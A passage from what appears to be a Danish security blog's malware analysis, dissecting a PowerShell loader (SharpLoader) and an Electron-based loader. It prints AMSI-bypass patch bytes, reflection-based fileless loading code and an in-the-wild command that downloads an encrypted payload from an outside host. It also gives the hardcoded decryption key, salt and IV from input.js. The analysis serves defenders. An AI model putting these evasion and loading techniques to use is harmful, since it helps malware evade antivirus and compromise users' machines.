instruktioner:",[604,2139,2140,2149],{},[607,2141,2142,2145,2146],{},[551,2143,2144],{},"mov eax, 0x80070057"," → sætter returkoden til Windows-fejlkoden ",[551,2147,2148],{},"E_INVALIDARG",[607,2150,2151,2154],{},[551,2152,2153],{},"ret"," → returnerer omgående fra funktionen",[533,2156,2157,2158,2160],{},"Det får i praksis ",[551,2159,2031],{}," til at fejle lydløst og returnere et resultat uden detektion, hvilket neutraliserer AMSI-kontrollerne. Malwaren kan nu køre scripts eller .NET-kode, der ellers ville udløse antivirusalarmer.",[533,2162,2163],{},"Køres koden på et 32-bit-system, anvendes en anden patch:",[588,2165,2167],{"className":2050,"code":2166,"language":2052,"meta":594,"style":594},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[551,2168,2169],{"__ignoreMap":594},[1683,2170,2171],{"class":1685,"line":1686},[1683,2172,2166],{},[533,2174,2175],{},"Formålet er det samme, at fremtvinge et rent resultat, men tilpasset x86-kaldekonventionen.",[533,2177,2178,2179,620,2182,558,2185,2188],{},"Brugen af rå P/Invoke-kald som ",[551,2180,2181],{},"LoadLibrary",[551,2183,2184],{},"GetProcAddress",[551,2186,2187],{},"VirtualProtect"," gør, at patchingen kan foregå dynamisk og uden at kalde højniveau-API'er, som EDR-værktøjer kunne overvåge. Metoden er kompakt, effektiv og efterlader minimale forensiske artefakter.",[533,2190,2191,2192,2195],{},"Kort sagt er denne AMSI-omgåelse et ",[540,2193,2194],{},"lavniveauangreb rettet direkte mod antivirus-grænsefladen i hukommelsen",", udført på millisekunder under kørsel. Det er et stærkt eksempel på, hvorfor adfærdsovervågning og inspektion af hukommelsen er afgørende i moderne endpoint-forsvar.",[714,2197,2199],{"id":2198},"_43-håndtering-af-payloaden-i-trin-2","4.3 Håndtering af payloaden i trin 2",[533,2201,720],{},[533,2203,2204,2205,586],{},"Når AMSI-omgåelsen er gennemført, går loaderen videre med at hente og klargøre payloaden til andet trin. Payloaden er ikke indlejret i selve loaderen, men hentes enten fra en fjernserver eller læses fra disk, afhængigt af hvordan loaderen kaldes via parameteren ",[551,2206,2207],{},"$location",[533,2209,2210,2211,2214,2215,2218,2219,2222,2223,2226,2227,586],{},"Begynder placeringen med ",[551,2212,2213],{},"http",", tolkes den som en URL, og loaderen bruger ",[551,2216,2217],{},"Get_Stage2()"," til at hente payloaden via ",[551,2220,2221],{},"HttpWebRequest",". Er der tale om en lokal sti, læser ",[551,2224,2225],{},"Get_Stage2disk()"," indholdet direkte fra filsystemet. I begge tilfælde er det forventede filindhold en blob, der er ",[540,2228,2229],{},"Base64-kodet, GZip-komprimeret og AES-krypteret",[533,2231,2232,2233,2236],{},"Loaderen kører derefter en ",[540,2234,2235],{},"afkodnings- og dekrypteringspipeline i fire trin",", udelukkende i hukommelsen:",[2082,2238,2239,2245,2255,2265],{},[607,2240,2241,2244],{},[540,2242,2243],{},"Base64-afkodning",": Konverterer den kodede streng til rå bytes. Trinnet er lavet for at skjule det egentlige binære indhold for statiske inspektionsværktøjer og forhindre ligefrem mønstergenkendelse.",[607,2246,2247,2250,2251,2254],{},[540,2248,2249],{},"GZip-dekomprimering",": De afkodede bytes sendes til en ",[551,2252,2253],{},"GZipStream",", der pakker payloaden ud. Komprimeringen mindsker filstørrelsen og lægger endnu et lag obfuskering til.",[607,2256,2257,2260,2261,2264],{},[540,2258,2259],{},"AES-dekryptering",": De komprimerede bytes dekrypteres med AES (Rijndael) i CBC-tilstand. Nøglen afledes ved kørsel af den adgangskode, brugeren angiver, via SHA-256-hashing kombineret med PBKDF2 (",[551,2262,2263],{},"Rfc2898DeriveBytes",") og et statisk salt.",[607,2266,2267,2270],{},[540,2268,2269],{},"Fjernelse af salt",": Det dekrypterede resultat indeholder stadig et salt-præfiks med fast længde (4 bytes). De bytes fjernes manuelt for at få den rene binære blob, der udgør en gyldig .NET-assembly.",[533,2272,2273],{},"Dekrypteringspipelinen kører sådan her:",[588,2275,2277],{"className":2050,"code":2276,"language":2052,"meta":594,"style":594},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[551,2278,2279,2284],{"__ignoreMap":594},[1683,2280,2281],{"class":1685,"line":1686},[1683,2282,2283],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1683,2285,2286],{"class":1685,"line":2062},[1683,2287,2288],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[533,2290,2291,2292,2295],{},"Her er ",[551,2293,2294],{},"AES_Decrypt()"," en specialbygget funktion, der indkapsler Rijndael-algoritmen, konfigureret med en 256-bit nøgle og en 128-bit IV (initialiseringsvektor), begge afledt af adgangskoden.",[533,2297,2298],{},[540,2299,2300],{},"Centrale observationer om designet:",[604,2302,2303,2306,2309],{},[607,2304,2305],{},"Brugen af AES-CBC med PBKDF2 gør det alt andet end trivielt at brute force adgangskoden.",[607,2307,2308],{},"Fordi dekrypteringen sker i hukommelsen, skrives ingen mellemresultater nogensinde til disk, hvilket reducerer de forensiske artefakter.",[607,2310,2311],{},"Angives den forkerte adgangskode, fejler dekrypteringen lydløst eller producerer ugyldige data, hvilket kan føre til mislykket eksekvering eller svært sporbare exceptions.",[533,2313,2314],{},"Kort sagt hæver denne flertrinshåndtering af payloaden barren betydeligt for både signatur- og heuristikbaseret statisk detektion. Uden enten live-eksekvering eller en dybdegående undersøgelse af loaderens adfærd er det usandsynligt, at forsvarere afdækker den indlejrede payload, medmindre de også kender adgangskoden og den præcise afkodningslogik.",[714,2316,2318],{"id":2317},"_44-dynamisk-indlæsning-af-assemblies","4.4 Dynamisk indlæsning af assemblies",[533,2320,720],{},[533,2322,2323],{},"Når payloaden i andet trin er dekrypteret, udgør den resulterende byte-array en gyldig .NET-assembly. I stedet for at skrive denne assembly til disk, hvilket er en velkendt indikator for antivirus- og EDR-systemer, kører SharpLoader den direkte i hukommelsen med reflection:",[588,2325,2327],{"className":2050,"code":2326,"language":2052,"meta":594,"style":594},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[551,2328,2329,2334],{"__ignoreMap":594},[1683,2330,2331],{"class":1685,"line":1686},[1683,2332,2333],{},"Assembly a = Assembly.Load(bin);\n",[1683,2335,2336],{"class":1685,"line":2062},[1683,2337,2338],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[533,2340,2341,2342,2345],{},"Teknikken kaldes ",[540,2343,2344],{},"fileless execution",". Den er meget svær at opdage, fordi den:",[604,2347,2348,2351,2354],{},[607,2349,2350],{},"Undgår at røre disken og efterlader ingen filbaserede IOC'er (indicators of compromise)",[607,2352,2353],{},"Gør traditionel forensisk indsamling sværere, da ingen binærfil gemmes på disk",[607,2355,2356],{},"Omgår statisk signaturbaseret detektion, fordi AV-engines ofte bygger på at scanne filer",[533,2358,2359,2360,2363,2364,2367],{},"Er ",[551,2361,2362],{},"EntryPoint"," ikke ",[551,2365,2366],{},"static",", har loaderen en fallback-logik:",[588,2369,2371],{"className":2050,"code":2370,"language":2052,"meta":594,"style":594},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[551,2372,2373,2378,2383,2388,2393,2399],{"__ignoreMap":594},[1683,2374,2375],{"class":1685,"line":1686},[1683,2376,2377],{},"MethodInfo method = a.EntryPoint;\n",[1683,2379,2380],{"class":1685,"line":2062},[1683,2381,2382],{},"if (method != null)\n",[1683,2384,2385],{"class":1685,"line":2068},[1683,2386,2387],{},"{\n",[1683,2389,2390],{"class":1685,"line":2074},[1683,2391,2392],{},"    object o = a.CreateInstance(method.Name);\n",[1683,2394,2396],{"class":1685,"line":2395},5,[1683,2397,2398],{},"    method.Invoke(o, null);\n",[1683,2400,2402],{"class":1685,"line":2401},6,[1683,2403,2404],{},"}\n",[533,2406,2407,2408,2411],{},"Det sikrer kompatibilitet med assemblies, der kræver et instantieret objekt for at kunne køre (for eksempel ",[551,2409,2410],{},"public int Main()"," inde i en klasseinstans). Koden opretter dynamisk en instans af klassen og kalder derefter entry point-metoden.",[533,2413,2414],{},"Kombineret med AMSI-omgåelsen og dekrypteringen i hukommelsen leverer mekanismen den endelige payload til eksekvering på en lydløs og helt filløs måde, et kendetegn ved moderne, undvigende malware.",[714,2416,2418],{"id":2417},"_45-kommandolinjeparametre-og-fleksibilitet","4.5 Kommandolinjeparametre og fleksibilitet",[533,2420,720],{},[533,2422,2423,2424,2426],{},"PowerShell-funktionen ",[551,2425,1891],{}," er bygget til at fungere som en fleksibel wrapper omkring vilkårlige .NET-payloads. Den understøtter dynamisk input af både payloadens placering og argumenter, så den samme loader-instans kan genbruges på tværs af flere operationer eller kampagner.",[533,2428,2429],{},[540,2430,2431],{},"Understøttede parametre:",[604,2433,2434,2440,2446,2466],{},[607,2435,2436,2439],{},[551,2437,2438],{},"-location"," (obligatorisk): Angiver enten en URL eller en lokal filsti til den krypterede payload i andet trin.",[607,2441,2442,2445],{},[551,2443,2444],{},"-password"," (obligatorisk): Bruges til at aflede AES-dekrypteringsnøglen.",[607,2447,2448,620,2451,620,2454,2457,2458,2461,2462,2465],{},[551,2449,2450],{},"-argument",[551,2452,2453],{},"-argument2",[551,2455,2456],{},"-argument3"," (valgfri): Sendes direkte videre til ",[551,2459,2460],{},"Main()","-metoden i ",[551,2463,2464],{},".NET","-assemblyen via reflection.",[607,2467,2468,2471],{},[551,2469,2470],{},"-noArgs",": Udløser eksekvering uden at sende parametre videre til payloaden i andet trin.",[533,2473,2474],{},"Internt samles argumenterne og sendes videre sådan her:",[588,2476,2478],{"className":1677,"code":2477,"language":1679,"meta":594,"style":594},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[551,2479,2480,2485],{"__ignoreMap":594},[1683,2481,2482],{"class":1685,"line":1686},[1683,2483,2484],{},"object[] cmd = args.Skip(2).ToArray();\n",[1683,2486,2487],{"class":1685,"line":2062},[1683,2488,2489],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[533,2491,2492],{},"Det betyder, at .NET-payloaden forventes at have en signatur som:",[588,2494,2496],{"className":2050,"code":2495,"language":2052,"meta":594,"style":594},"static void Main(string[] args)\n",[551,2497,2498],{"__ignoreMap":594},[1683,2499,2500],{"class":1685,"line":1686},[1683,2501,2495],{},[533,2503,2504,2505,2507],{},"eller også falder den elegant tilbage til den parameterløse ",[551,2506,2460],{},"-variant via fallback-logikken. Den adfærd giver red teams og malwareudviklere mulighed for at bygge alsidige andentrinskomponenter, der kan udføre forskellige operationer afhængigt af inputtet, for eksempel starte et implant, indsamle systemoplysninger eller indlede C2-kommunikation.",[533,2509,2510],{},"Modularitet og konfigurerbarhed af den slags er centrale træk ved avancerede malware-frameworks, og de illustrerer, hvordan scriptbaserede loadere kan opføre sig som yderst tilpasningsdygtige eksekveringsmiljøer for efterfølgende payloads.",[714,2512,2514],{"id":2513},"_46-eksempel-på-brug-i-virkeligheden","4.6 Eksempel på brug i virkeligheden",[533,2516,720],{},[533,2518,2519],{},"For at illustrere, hvordan SharpLoader kører i en faktisk kampagne, kan man se på følgende kald, som er observeret i naturen:",[588,2521,2523],{"className":1677,"code":2522,"language":1679,"meta":594,"style":594},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[551,2524,2525],{"__ignoreMap":594},[1683,2526,2527],{"class":1685,"line":1686},[1683,2528,2522],{},[533,2530,2531],{},"Eksemplet viser det typiske brugsmønster for SharpLoader:",[604,2533,2534,2548,2560,2570],{},[607,2535,2536,2539,2540,2543,2544,2547],{},[540,2537,2538],{},"Location-argumentet",": URL'en peger på en fjernserver, der hoster ",[551,2541,2542],{},"calc.enc",", en skjult payload til andet trin. Endpointet ligger under en legitimt udseende ",[551,2545,2546],{},".well-known","-mappe, som ofte bruges til validering af HTTPS-certifikater, og det hjælper URL'en med at gå i ét med almindelig webtrafik.",[607,2549,2550,972,2553,2555,2556,2559],{},[540,2551,2552],{},"Payloadens kendetegn",[551,2554,2542],{}," er en ",[540,2557,2558],{},"tredobbelt obfuskeret fil",", Base64-kodet, GZip-komprimeret og AES-krypteret. Obfuskeringspipelinen sikrer, at payloaden er uigennemsigtig for de fleste detektionsmekanismer, medmindre den køres og dekrypteres helt i hukommelsen.",[607,2561,2562,2565,2566,2569],{},[540,2563,2564],{},"Password-argumentet",": Strengen ",[551,2567,2568],{},"UwUFufu1"," bruges ved kørsel til at aflede AES-nøglen via SHA-256 og PBKDF2. Uden denne adgangskode kan payloaden ikke dekrypteres, hvilket gør offlineanalyse uden kontekst næsten umulig.",[607,2571,2572,2575,2576,2578],{},[540,2573,2574],{},"Ingen yderligere argumenter",": Flaget ",[551,2577,2470],{}," angiver, at der ikke sendes kommandolinjeparametre til den dekrypterede .NET-assembly, hvilket udløser dens standardeksekveringsvej.",[533,2580,2581,2582,2585],{},"Den lydløse kaldekæde rummer SharpLoaders kerneformål: ",[540,2583,2584],{},"filløs, tilpasningsdygtig og sikker levering af payloads"," gennem simpel PowerShell-syntaks med maksimal obfuskering og omgåelse.",[714,2587,2589],{"id":2588},"_47-sammenfatning","4.7 Sammenfatning",[533,2591,720],{},[533,2593,2594,2595,2597],{},"Konstruktionen ",[551,2596,1891],{}," er et eksempel på en meget forfinet og undvigende teknik til staging af malware, der udnytter indbyggede systemkomponenter, reflection og kryptografi til at arbejde næsten udelukkende i hukommelsen.",[533,2599,2600],{},[540,2601,2602],{},"Det væsentligste:",[604,2604,2605,2614,2620,2626],{},[607,2606,2607,2610,2611,2613],{},[540,2608,2609],{},"Omgåelse af AMSI",": Direkte patching af ",[551,2612,2031],{}," i hukommelsen slår antivirus-inspektionen fra uden at kalde API'er, der kan detekteres.",[607,2615,2616,2619],{},[540,2617,2618],{},"Sikker håndtering af payloads",": Hentningen af krypterede og komprimerede payloads til andet trin sikrer fortrolighed og lægger flere lag omgåelse til.",[607,2621,2622,2625],{},[540,2623,2624],{},"Eksekvering kun i hukommelsen",": Dekrypterede payloads skrives aldrig til disk, hvilket gør det nærmest umuligt at opdage dem med traditionelle filbaserede scannere.",[607,2627,2628,2631],{},[540,2629,2630],{},"Modulær og genbrugelig arkitektur",": Gennem PowerShell-parametre kan SharpLoader genbruges fleksibelt på tværs af kampagner med forskellige payloads og adfærd ved kørsel.",[528,2633,2635,2636,2638],{"id":2634},"_5-deep-dive-mainexe-electron-baseret-malware-loader","5. Deep Dive: ",[551,2637,578],{}," – Electron-baseret malware loader",[533,2640,535],{},[533,2642,2643,2644,2646,2647,2650,2651,2653,2654,2656],{},"Under reverse engineering blev det klart, at ",[551,2645,578],{},", som Microsoft Defender for Endpoint havde flagget, ikke var en konventionel binærfil, men en ",[540,2648,2649],{},"Electron-baseret malware loader",". Den blev leveret i et arkiv ved navn ",[551,2652,1825],{},", som ",[551,2655,574],{}," hentede og udpakkede ved kørsel. Da den var udpakket, lignede strukturen og indholdet i høj grad en typisk Electron-applikation.",[714,2658,2660],{"id":2659},"_51-at-genkende-electron-strukturen","5.1 At genkende Electron-strukturen",[533,2662,720],{},[533,2664,2665],{},"Den udpakkede mappe indeholdt filer som:",[604,2667,2668,2679,2687,2693],{},[607,2669,2670,620,2673,620,2676],{},[551,2671,2672],{},"chrome_100_percent.pak",[551,2674,2675],{},"v8_context_snapshot.bin",[551,2677,2678],{},"d3dcompiler_47.dll",[607,2680,2681,558,2684],{},[551,2682,2683],{},"LICENSES.chromium",[551,2685,2686],{},"LICENSES.electron",[607,2688,2689,2690,2692],{},"En stor ",[551,2691,578],{},"-binærfil (~150 MB)",[607,2694,2695,2696,2698,2699,2701,2702],{},"En ",[551,2697,1835],{},"-mappe med ",[551,2700,1046],{}," og en sekundær binærfil, ",[551,2703,2704],{},"elevate.exe",[533,2706,2707],{},[748,2708],{"alt":2709,"src":2710},"Pakket Windows 64-bit-version af desktopappen","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[533,2712,2713,2714,2716],{},"Det er alle stærke indikationer på en Electron-app, der bruger Chromium og Node.js til at pakke JavaScript-baserede desktopapplikationer. Tilstedeværelsen af ",[551,2715,2704],{},", en signeret Microsoft-binærfil der ofte bruges til at eskalere rettigheder, gav yderligere anledning til mistanke: den kan misbruges til at starte underprocesser med forhøjede rettigheder.",[714,2718,2720],{"id":2719},"_52-udpakning-og-statisk-analyse-deep-dive","5.2 Udpakning og statisk analyse (Deep Dive)",[533,2722,720],{},[533,2724,2725,2726,2728,2729,2731,2732,2734,2735,2737,2738,2741],{},"I stedet for at køre ",[551,2727,578],{}," valgte jeg en statisk analyse for at undgå at udløse nogen form for live-adfærd. Min oprindelige mistanke om, at ",[551,2730,578],{}," var bygget med Electron, blev bekræftet, da jeg fandt filen ",[551,2733,1046],{}," inde i mappen ",[551,2736,1835],{},". I Electron-apps indeholder dette arkiv al central applikationslogik, som JavaScript-filer, konfiguration (",[551,2739,2740],{},"package.json",") og assets, pakket i et særligt format af hensyn til ydeevne og obfuskering.",[533,2743,2744,2745,2748,2749,2752],{},"Et ",[551,2746,2747],{},".asar","-arkiv er i bund og grund en skrivebeskyttet container med høj ydeevne, der minder om ",[551,2750,2751],{},".zip",", men er optimeret til Electrons runtime. Det er ikke krypteret, men det gør adgangen til koden uigennemsigtig, og det gør statisk analyse sværere, medmindre arkivet pakkes ud.",[533,2754,2755,2756,2759],{},"Til udpakningen brugte jeg det officielle ",[551,2757,2758],{},"asar","-værktøj fra npm. Trinnene var:",[588,2761,2765],{"className":2762,"code":2763,"language":2764,"meta":594,"style":594},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[551,2766,2767,2784],{"__ignoreMap":594},[1683,2768,2769,2773,2777,2781],{"class":1685,"line":1686},[1683,2770,2772],{"class":2771},"sScJk","npm",[1683,2774,2776],{"class":2775},"sZZnC"," install",[1683,2778,2780],{"class":2779},"sj4cs"," -g",[1683,2782,2783],{"class":2775}," asar\n",[1683,2785,2786,2788,2791,2794],{"class":1685,"line":2062},[1683,2787,2758],{"class":2771},[1683,2789,2790],{"class":2775}," extract",[1683,2792,2793],{"class":2775}," app.asar",[1683,2795,2796],{"class":2775}," extracted_app\n",[533,2798,2799,2800,2803],{},"Kommandoerne ovenfor udtrak indholdet til en arbejdsmappe (",[551,2801,2802],{},"extracted_app/","), som afslørede den egentlige JavaScript-applikationskode. Den omfattede:",[604,2805,2806,2827,2835],{},[607,2807,2808,620,2811,620,2814,2817,2818,2820,2821,2823,2824,2826],{},[551,2809,2810],{},"jscryter.js",[551,2812,2813],{},"input.js",[551,2815,2816],{},"obf.js",": Disse scripts udgør malwarens logik. ",[551,2819,2810],{}," ser ud til at orkestrere leveringen af payloaden, ",[551,2822,2813],{}," definerer konfigurationskonstanter eller kommandologik, og ",[551,2825,2816],{}," er et kraftigt obfuskeret script, der sandsynligvis indeholder kernelogikken i payloaden.",[607,2828,2829,620,2831,2834],{},[551,2830,2740],{},[551,2832,2833],{},"package-lock.json",": Definerer runtime-miljøet",[607,2836,2837,2840,2841,620,2844,620,2847],{},[551,2838,2839],{},"node_modules/",": Indeholder alle afhængigheder som ",[551,2842,2843],{},"axios",[551,2845,2846],{},"adm-zip",[551,2848,2849],{},"child_process",[533,2851,2852,2853,2855,2856,586],{},"Det udpakkede indhold gav fuld indsigt i malwarens logik uden at kræve, at den blev kørt, og det var afgørende for at kunne reverse engineere den sikkert. Trinnet bekræftede, at ",[551,2854,578],{}," udelukkende fungerede som runtime-wrapper for de ondsindede scripts, der lå skjult inde i ",[551,2857,1046],{},[714,2859,2861],{"id":2860},"_53-hvad-den-statiske-analyse-afslørede","5.3. Hvad den statiske analyse afslørede",[533,2863,720],{},[533,2865,2866],{},"Ved at gennemgå koden manuelt bekræftede jeg, at malwarens logik udelukkende var JavaScript-baseret og kørte inde i Electron-runtimen. Scriptene var bygget til at:",[604,2868,2869,2876,2881,2884],{},[607,2870,2871,2872,2875],{},"Hente en krypteret payload (",[551,2873,2874],{},"pyth.zip",") fra fallback-URL'er",[607,2877,2878,2879],{},"Udpakke arkivet med ",[551,2880,2846],{},[607,2882,2883],{},"Udføre strengerstatning for at injicere bestemte loginoplysninger eller wallet-adresser",[607,2885,2886,2887,2889,2890,558,2893],{},"Starte den resulterende Python-fil (",[551,2888,582],{},") via ",[551,2891,2892],{},"child_process.exec()",[551,2894,553],{},[533,2896,2897,2898,2904],{},"Afgørende nok indeholdt loaderen også logik til at ",[540,2899,2900,2901,2903],{},"kopiere ",[551,2902,574],{}," til brugerens AppData-mappe",", hvis den ikke allerede var der, hvilket forstærkede persistensen og holdt infektionsløkken kørende.",[528,2906,2908,2909,2911],{"id":2907},"_6-deep-dive-inputjs-den-krypterede-javascript-payload-loader","6. Deep Dive: ",[551,2910,2813],{}," – den krypterede JavaScript-payload-loader",[533,2913,535],{},[533,2915,2916,2918],{},[551,2917,2813],{}," er en central komponent i den analyserede malwarekæde og fungerer som knudepunkt for dekryptering og eksekvering af en krypteret JavaScript-payload. Scriptet skjuler sin kernefunktionalitet bag et stærkt krypteringslag og afslører først sin adfærd under kørsel.",[714,2920,2922],{"id":2921},"_61-krypterings-og-dekrypteringsmekanik","6.1 Krypterings- og dekrypteringsmekanik",[533,2924,720],{},[533,2926,2927,2928,2930],{},"Ved første øjekast indeholder ",[551,2929,2813],{}," meget lidt læsbar kode. Dens primære formål er dog at dekryptere og eksekvere en stor obfuskeret JavaScript-blob, der ligger i selve scriptet.",[861,2932,2934],{"id":2933},"_611-dekrypteringslogik","6.1.1 Dekrypteringslogik",[533,2936,867],{},[533,2938,2939,2940,2943],{},"Scriptet definerer en ",[551,2941,2942],{},"decrypt()","-funktion, der tager fire parametre:",[604,2945,2946,2952,2958,2964],{},[607,2947,2948,2951],{},[551,2949,2950],{},"encdata",": De krypterede Base64-kodede data",[607,2953,2954,2957],{},[551,2955,2956],{},"masterkey",": En passphrase i klartekst",[607,2959,2960,2963],{},[551,2961,2962],{},"salt",": Et kryptografisk salt (Base64)",[607,2965,2966,2969],{},[551,2967,2968],{},"iv",": Initialiseringsvektoren til AES-dekrypteringen (Base64)",[533,2971,2972,2973,2976],{},"Dekrypteringen er implementeret med Node.js' indbyggede ",[551,2974,2975],{},"crypto","-modul. Den foregår sådan her:",[2082,2978,2979,3090,3203],{},[607,2980,2981,2984,2985,3064],{},[540,2982,2983],{},"Nøgleafledning:","\nScriptet afleder en 256-bit symmetrisk nøgle med PBKDF2 (Password-Based Key Derivation Function 2):",[588,2986,2990],{"className":2987,"code":2988,"language":2989,"meta":594,"style":594},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[551,2991,2992,3014,3019,3036,3044,3051,3058],{"__ignoreMap":594},[1683,2993,2994,2998,3001,3004,3008,3011],{"class":1685,"line":1686},[1683,2995,2997],{"class":2996},"szBVR","const",[1683,2999,3000],{"class":2779}," key",[1683,3002,3003],{"class":2996}," =",[1683,3005,3007],{"class":3006},"sVt8B"," crypto.",[1683,3009,3010],{"class":2771},"pbkdf2Sync",[1683,3012,3013],{"class":3006},"(\n",[1683,3015,3016],{"class":1685,"line":2062},[1683,3017,3018],{"class":3006},"  masterkey,\n",[1683,3020,3021,3024,3027,3030,3033],{"class":1685,"line":2068},[1683,3022,3023],{"class":3006},"  Buffer.",[1683,3025,3026],{"class":2771},"from",[1683,3028,3029],{"class":3006},"(salt, ",[1683,3031,3032],{"class":2775},"\"base64\"",[1683,3034,3035],{"class":3006},"),\n",[1683,3037,3038,3041],{"class":1685,"line":2074},[1683,3039,3040],{"class":2779},"  100000",[1683,3042,3043],{"class":3006},",\n",[1683,3045,3046,3049],{"class":1685,"line":2395},[1683,3047,3048],{"class":2779},"  32",[1683,3050,3043],{"class":3006},[1683,3052,3053,3056],{"class":1685,"line":2401},[1683,3054,3055],{"class":2775},"  \"sha512\"",[1683,3057,3043],{"class":3006},[1683,3059,3061],{"class":1685,"line":3060},7,[1683,3062,3063],{"class":3006},");\n",[604,3065,3066,3072,3078,3084],{},[607,3067,3068,3071],{},[540,3069,3070],{},"Hashfunktion:"," SHA-512",[607,3073,3074,3077],{},[540,3075,3076],{},"Iterationer:"," 100.000",[607,3079,3080,3083],{},[540,3081,3082],{},"Nøglelængde:"," 32 bytes (256 bit)",[607,3085,3086,3089],{},[540,3087,3088],{},"Salt:"," Leveres som Base64-afkodet input",[607,3091,3092,3095,3096,3146,3148,3149],{},[540,3093,3094],{},"AES-256-CBC-dekryptering:","\nDen afledte nøgle bruges derefter til at oprette et AES-decipher-objekt:",[588,3097,3099],{"className":2987,"code":3098,"language":2989,"meta":594,"style":594},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[551,3100,3101,3117,3124,3129,3142],{"__ignoreMap":594},[1683,3102,3103,3105,3108,3110,3112,3115],{"class":1685,"line":1686},[1683,3104,2997],{"class":2996},[1683,3106,3107],{"class":2779}," decipher",[1683,3109,3003],{"class":2996},[1683,3111,3007],{"class":3006},[1683,3113,3114],{"class":2771},"createDecipheriv",[1683,3116,3013],{"class":3006},[1683,3118,3119,3122],{"class":1685,"line":2062},[1683,3120,3121],{"class":2775},"  \"aes-256-cbc\"",[1683,3123,3043],{"class":3006},[1683,3125,3126],{"class":1685,"line":2068},[1683,3127,3128],{"class":3006},"  key,\n",[1683,3130,3131,3133,3135,3138,3140],{"class":1685,"line":2074},[1683,3132,3023],{"class":3006},[1683,3134,3026],{"class":2771},[1683,3136,3137],{"class":3006},"(iv, ",[1683,3139,3032],{"class":2775},[1683,3141,3035],{"class":3006},[1683,3143,3144],{"class":1685,"line":2395},[1683,3145,3063],{"class":3006},[698,3147],{},"Den krypterede payload dekrypteres med standardtilstanden CBC (Cipher Block Chaining):",[588,3150,3152],{"className":2987,"code":3151,"language":2989,"meta":594,"style":594},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[551,3153,3154,3183],{"__ignoreMap":594},[1683,3155,3156,3159,3162,3165,3168,3171,3174,3176,3178,3181],{"class":1685,"line":1686},[1683,3157,3158],{"class":2996},"let",[1683,3160,3161],{"class":3006}," decrypted ",[1683,3163,3164],{"class":2996},"=",[1683,3166,3167],{"class":3006}," decipher.",[1683,3169,3170],{"class":2771},"update",[1683,3172,3173],{"class":3006},"(encdata, ",[1683,3175,3032],{"class":2775},[1683,3177,620],{"class":3006},[1683,3179,3180],{"class":2775},"\"utf8\"",[1683,3182,3063],{"class":3006},[1683,3184,3185,3188,3191,3193,3196,3199,3201],{"class":1685,"line":2062},[1683,3186,3187],{"class":3006},"decrypted ",[1683,3189,3190],{"class":2996},"+=",[1683,3192,3167],{"class":3006},[1683,3194,3195],{"class":2771},"final",[1683,3197,3198],{"class":3006},"(",[1683,3200,3180],{"class":2775},[1683,3202,3063],{"class":3006},[607,3204,3205,3208,3209,3212,3213,3234,3236],{},[540,3206,3207],{},"Dynamisk eksekvering:","\nDen dekrypterede JavaScript-kode skrives aldrig til disk. Den eksekveres derimod dynamisk i hukommelsen via ",[551,3210,3211],{},"Function","-konstruktøren:",[588,3214,3216],{"className":2987,"code":3215,"language":2989,"meta":594,"style":594},"new Function(\"require\", decrypted)(require);\n",[551,3217,3218],{"__ignoreMap":594},[1683,3219,3220,3223,3226,3228,3231],{"class":1685,"line":1686},[1683,3221,3222],{"class":2996},"new",[1683,3224,3225],{"class":2771}," Function",[1683,3227,3198],{"class":3006},[1683,3229,3230],{"class":2775},"\"require\"",[1683,3232,3233],{"class":3006},", decrypted)(require);\n",[698,3235],{},"Teknikken muliggør filløs eksekvering og mindsker risikoen for at blive opdaget af traditionelle antivirusmotorer, der bygger på scanning af disken.",[533,3238,3239],{},"Tilgangen demonstrerer et lagdelt forsvar mod reverse engineering ved at kombinere nøgleafledning, stærk kryptering og dynamisk eksekvering i hukommelsen.",[533,3241,3242],{},[540,3243,3244],{},"Nøglemateriale og krypterede data",[533,3246,3247],{},"Scriptet indeholder følgende hardkodede input:",[604,3249,3250,3256,3265,3273],{},[607,3251,3252,3255],{},[540,3253,3254],{},"Krypterede data:"," En enorm Base64-kodet blob",[607,3257,3258,3261,3262],{},[540,3259,3260],{},"Masternøgle:"," ",[551,3263,3264],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[607,3266,3267,3261,3269,3272],{},[540,3268,3088],{},[551,3270,3271],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-kodet)",[607,3274,3275,3261,3278,3272],{},[540,3276,3277],{},"IV:",[551,3279,3280],{},"HwK6sOz7FBbL+YsrOxtYUg==",[533,3282,3283,3284,586],{},"De ligger alle indlejret direkte i kildekoden til ",[551,3285,2813],{},[714,3287,3289],{"id":3288},"_62-payloadens-adfærd-efter-dekryptering","6.2 Payloadens adfærd efter dekryptering",[533,3291,720],{},[533,3293,3294],{},"Når først den indlejrede payload er dekrypteret, bliver den et komplet JavaScript-program, der udfører følgende ondsindede handlinger:",[861,3296,3298],{"id":3297},"_621-klargøring-af-miljøet","6.2.1 Klargøring af miljøet",[533,3300,867],{},[533,3302,3303],{},"Den dekrypterede payload begynder med at sætte sit eksekveringsmiljø op ved hjælp af Node.js' indbyggede moduler. Denne opsætningsfase sikrer, at alle nødvendige stier og arbejdsmapper er klart defineret, før nogen 